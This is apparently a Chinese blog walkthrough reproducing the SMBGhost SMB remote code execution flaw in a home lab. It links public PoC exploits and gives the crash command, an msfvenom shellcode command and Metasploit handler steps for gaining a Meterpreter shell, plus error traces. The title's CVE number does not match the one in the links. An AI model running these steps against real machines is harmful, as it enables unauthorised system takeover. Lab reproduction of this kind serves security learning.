CVE-2020-0976永恒之黑漏洞复现

漏洞原理

SMB远程代码执行漏洞

SMB 3.1.1协议中处理压缩消息时,对其中数据没有经过安全检查,直接使用会引发内存破坏漏洞,可能被攻击者利用远程执行任意代码。攻击者利用该漏洞无须权限即可实现远程代码执行,受黑客攻击的目标系统只需开机在线即可能被入侵。

影响版本

Windows 10 1903 (19H1)、Windows 10 1909、 Windows Server 19H1均为潜在攻击目标

漏洞所需工具

漏洞检测工具:http://dl.qianxin.com/skylar6/CVE-2020-0796-Scanner.zip
攻击poc:https://github.com/eerykitty/CVE-2020-0796-PoC
shell脚本:https://github.com/chompie1337/SMBGhost_RCE_PoC
攻击机:Windows 10 20h2+kali
目标机:Windows 10 1903

蓝屏复现

首先扫描漏洞是否存在,然后把防火墙关掉
CVE-2020-0976永恒之黑漏洞复现_第1张图片
然后下载poc攻击试试(中间执行报错,却什么包,就安装就行了)

python CVE-2020-0796.py 192.168.1.33

CVE-2020-0976永恒之黑漏洞复现_第2张图片

远程利用复现

前面已经复现过MS_06_040,跟MS08067,今天仍然是使用kali里面的漏洞利用工具集
首先使用msf生成一个反向链接的payload

msfvenom  -p windows/x64/meterpreter/bind_tcp -b '\x00'  lport=1234 -f py -i 1 -o evil.py

CVE-2020-0976永恒之黑漏洞复现_第3张图片
然后将生成的py文件里面的文件复制到,RCE的exploit.py中(VS打开,按住Alt可以选择多少列复制)
或者直接复制到记事本,然后将buf替换为USER_PAYLOAD
CVE-2020-0976永恒之黑漏洞复现_第4张图片
然后msf坚挺本地端口

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 1234
set rhost 192.168.1.33
run#exploit 两个命令都行

这里lport就是端口,前面生成payload时候指定的,然后rhost就是目标的IP,然后执行
怕不放心的话可以show options来查看是否修改成功
CVE-2020-0976永恒之黑漏洞复现_第5张图片
然后我蓝屏了…看git上那些作者下面的问题,也有很多人都是这样,看来这个exp并不稳定
有时候报这个错,但是不蓝屏

Traceback (most recent call last):
  File "exploit.py", line 470, in <module>
    do_rce(args.ip, args.port)
  File "exploit.py", line 431, in do_rce
    find_low_stub(ip, port)
  File "exploit.py", line 410, in find_low_stub
    buff = read_physmem_primitive(ip, port, index)
  File "exploit.py", line 210, in read_physmem_primitive
    buff = try_read_physmem_primitive(ip, port, phys_addr)
  File "exploit.py", line 223, in try_read_physmem_primitive
    sock = reconnect(ip, port)
  File "exploit.py", line 180, in reconnect
    sock.connect((ip, port))
  File "/usr/lib/python2.7/socket.py", line 228, in meth
    return getattr(self._sock,name)(*args)
socket.timeout: timed out

然后改了改尺寸,又报其他错
[+] found low stub at phys addr 13000!
[+] PML4 at 1ad000
[+] base of HAL heap at fffff7b1c0000000
[-] failed to find PML4 self reference entry!
在这里插入图片描述
然后,又报新错误
[-] physical read primitive failed
CVE-2020-0976永恒之黑漏洞复现_第6张图片
多试几次,终于好了
CVE-2020-0976永恒之黑漏洞复现_第7张图片
终于成功了
在这里插入图片描述
CVE-2020-0976永恒之黑漏洞复现_第8张图片
CVE-2020-0976永恒之黑漏洞复现_第9张图片

你可能感兴趣的:(漏洞挖掘,安全)